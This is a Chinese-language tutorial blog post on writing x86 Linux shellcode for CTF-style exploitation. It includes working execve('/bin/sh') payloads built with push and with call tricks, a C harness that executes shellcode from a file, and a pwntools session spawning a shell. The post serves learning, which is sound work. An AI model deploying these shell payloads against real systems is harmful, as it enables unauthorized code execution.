shellcode

Posted    on 2017, Apr8, Saturday 18:34:51
Modified on 2017, Oct5, Thursday 03:39:50

在pwn的过程中常常需要通过自己写shellcode来获取shell,本文将介绍几种简单的shellcode
 注:本文以x86为基础

调用系统函数

在开始写shellcode时,首先需要想到,我应该如何调用shell呢?

在写C语言中,通常我们需要调用

system("/bin/sh")

 从而获得shell

在写汇编时,有时候并不需要这么做

linux

在使用linux时写汇编时完全不必再去libc寻找system函数,然后传递参数并且call system,只需要使用 系统调用

先看一段引自wiki的介绍

system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on.

简单来讲,系统调用就是其实就是调用函数,而这个调用和call又有所区别,它执行的代码不在你的程序中,而在系统的内核空间中。系统调用包含了 文件读写,运行程序,获取时间等 一系列和系统有关的函数。若是在写C语言时调用这些函数,生成的汇编代码往往是到libc等库中找到程序地址,传递参数,再call其地址,而系统调用并不需要如此的麻烦,只需要用系统中断以及结合寄存器进行传参

系统调用主要有以下内容

1. int 0x80 与 syscall

若是需要系统调用,只需要在汇编中加入一句: int 0x80 ,这将告诉CPU,现在要进行一次中断从用户态进入内核态(我也不知道这是啥),而 0x80 表示中断编号,意味着告诉内核 程序要进行系统调用

若是在 x64 下 则 应将 0x80 替换为 syscall

2. 系统调用编号

在linux中存在着许多系统调用,为了区分请求的API,内核开发者给每个系统调用都分配了一个系统调用号,调用时需要将系统调用号储存在EAX寄存器中,例如要调用 sys_write ,其系统调用号为4,则需要

xxxxxxxx
;传递系统调用号 这样写比mov eax,0x4更短
xor eax,eax
mov al,0x4
int 0x80
3. 传递参数

系统调用时传递参数通常有2种方式,在参数小于等于5个时使用,EBXECXEDXESI,EDI这5个寄存器,若是参数大于5个,则需要为EBX提供一个存放参数的内存的地址,还是以sys_write为例子
 查阅文档可以知道,其C函数声明为

ssize_t write(int fd, const void *buf, size_t count);

所以调用时的汇编代码为
;字符串'abc'入栈
push 0x636261
;传递字符串地址
mov ecx,esp
;标准输出为1
xor ebx,ebx
mov bl,0x1
;长度3
xor edx,edx
mov dl,0x3
;传递系统调用号
xor eax,eax
mov al,0x4
int 0x80

windows

这个我也不会,挖坑待填

确定参数地址

系统调用时传递参数往往需要使用内存地址,通常情况下程序都会开启alsr,显然参数的地址大多数情况下是动态的(除了全局变量),这时候需要利用一些汇编指令获得地址

1. push

在汇编中

push xxx

上面的代码意味着将 xxx 入栈,并且esp减4,并且push后esp正好对应xxx的内存地址,于是有如下方法

假设要向栈中放入 /bin/sh 字符串,并且将其地址赋给ebx

;/sh
push 0x68732f
;/bin
push 0x6e69622f
mov ebx,esp

这样以来ebx的值便是 /bin/sh 的地址了

2.call

在程序执行call时,会将下一条指令的地址入栈然后跳转到要执行的地方,若是程序在栈上执行,则可以利用call获得地址

注:call的字节码为 e8 ab cd ef gh ,其中 ghefcdab要跳转到的地址 - call后执行的下一条指令的地址

还是以 /bin/sh 为例

\xe8\x08\x00\x00\x00/bin/sh\x00

注:我实在不知道该如何表达,这是下面的汇编指令的前面的字节码

pop ebx

shellcode

由前面的2种确定地址的方式,最终可以写出2种shellcode

注:在这里以linux为例子,这只是最简单的shellcode

1. 使用push

注:本文用pwntools生成字节码

shellcode = asm(
'''
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor eax,eax
mov al,0xb
int 0x80
'''
)

2.使用call

shellcode = '\xe8\x08\x00\x00\x00/bin/sh\x00'
shellcode += asm(
'''
pop ebx
xor eax,eax
xor ecx,ecx
mov al,0xb
int 0x80
'''
)

测试shellcode

在编写完成后,有时需要对shellcode进行一些测试,这时有多种方法

1. C写的shellcode测试器

源码直接给出,忘了从哪看到的了

#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <stdio.h>  
#include <sys/mman.h>  
#include <errno.h>  
#include <unistd.h>  
#include <stdlib.h>  


char code[4096] __attribute__((aligned(4096)));  

int main(int argc, const char *argv[])  
{  
    int fd;  
    int ret;  
    void (*func)(void);  

    if (argc != 2) {  
        fprintf(stderr, "\n\tUsage: sctest <shellcode>\n\n");  
        return 1;  
    }  

    fd = open(argv[1], O_RDONLY);  
    if (!fd) {  
        fprintf(stderr, "Unable open file %s, err = %d(%m)\n", argv[1], errno);  
        return 2;  
    }  

    ret = read(fd, code, sizeof(code));  
    if (ret < 0) {  
        fprintf(stderr, "Unable read file %s, err = %d(%m)\n", argv[1], errno);  
        return 3;  
    }  

    ret = mprotect(code, sizeof(code), PROT_EXEC);  
    if (ret < 0) {  
        fprintf(stderr, "Unable mprotect, err = %d(%m)\n", errno);  
        return 4;  
    }  

    /* execute shell code */  
    func = (void (*)(void))code;  
    func();  
    abort();      
}  

2. pwntools

这个貌似只能测试linux下的

例:

>>> from pwn import *
>>> shellcode = asm(
... '''
... push 0x68732f
... push 0x6e69622f
... mov ebx,esp
... xor ecx,ecx
... xor eax,eax
... mov al,0xb
... int 0x80
... '''
... )
>>> p = run_shellcode(shellcode)
[*] '/tmp/pwn-asm-0KtoGK/step3-elf'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8049000)
    RWX:      Has RWX segments
[x] Starting local process '/tmp/pwn-asm-0KtoGK/step3-elf'
[+] Starting local process '/tmp/pwn-asm-0KtoGK/step3-elf': pid 60022
>>> p.sendline('pwd')
>>> print(p.recv())
/home/plusls

>>> p.sendline('exit')
>>> p.poll()
[*] Process '/tmp/pwn-asm-0KtoGK/step3-elf' stopped with exit code 0 (pid 60022)
0
>>> 

run_assembly 同理,将参数换为汇编文本即可

以及run_shellcode_exitcoderun_assembly_exitcode 可以等待 shellcode 执行完毕 返回其返回值

更骚的操作

有时候一些漏洞会对输入进行过滤,此时需要对shellcode进行一些魔改

挖坑待填

最后

最后,便留个思考题吧,如何不用[](){}<>写一个输出Hello World的程序呢?
提示:编译时64位机器需要加上-m32

附录

x86系统调用查询:http://syscalls.kernelgrok.com/

x64系统调用查询:http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/